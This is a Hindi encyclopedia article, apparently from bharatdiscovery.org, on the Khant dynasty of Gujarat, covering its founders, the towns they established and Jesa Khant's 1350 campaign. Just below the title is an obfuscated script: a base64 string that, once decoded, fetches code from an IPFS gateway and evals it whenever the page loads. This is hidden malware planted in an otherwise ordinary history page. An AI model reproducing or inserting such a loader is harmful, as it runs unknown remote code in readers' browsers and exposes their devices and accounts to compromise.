खांट राजवंश  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

खांट राजवंश (अंग्रेज़ी: Khant Dynasty) भारत के गुजरात राज्य का एक शासकीय वंश था, जिसकी स्थापना कोली राजा धन मेर के पिता सोनांग मेर ने की थी। सोनांग मेर सिंध (वर्तमान पाकिस्तान मे) से गुजरात आए थे एवं धंधुका, धंधालपुर, पेटलाद, बिलखा और महियारी पर कोली राज स्थापित किया। ठाकोर सोनांग मेर के 13 पुत्र थे।

  • खांट राजवंश के राजकुमार धन मेर उर्फ धंधल खांट ने गुजरात में धंधालपुर और धंधुका की स्थापना की एवं बसाया।
  • राजा धन मेर ने वाला राज्य के राजा एवं राजपूतों के वाला वंश के संस्थापक इभल वालों के द्वारा ब्राह्मणों के उत्पीड़न के चलते इभल वालों का वध किया और वाला राज्य को अपने राज्य में मिला लिया। साथ ही 400 ब्राह्मणों को धंधुका में बसाया। राजा धन मेर के पौत्र ने कोलियों के खशिया वंश‌ की स्थापना की।[१]
  • खांट राजवंश के अन्य कुमार पातल खांट ने गुजरात में पेतलाद की स्थापना की एवं बसाया और कुमर महर राणा ने गुजरात में महियारी की स्थापना की।
  • इस राजवंश के सबसे प्रसिद्ध शासक के रूप में जेसा खांट उर्फ जयसिंहजी खांट को माना जाता है। जेसा खांट ने 1350 में दिल्ली सल्तनत के सुल्तान मोहम्मद बिन तुग़लक़ के साथ मिलकर जूनागढ़ के चूड़ासमा राजवंश के शासक रा खैंगार को हराया, जिसके पश्चात जेसा खांट ने गिरनार और बिलखा पर राज स्थापित किया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. खांट राजवंश (हिंदी) kolistan.blogspot.com। अभिगमन तिथि: 27 सितम्बर, 2021।

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=खांट_राजवंश&oldid=668298" से लिया गया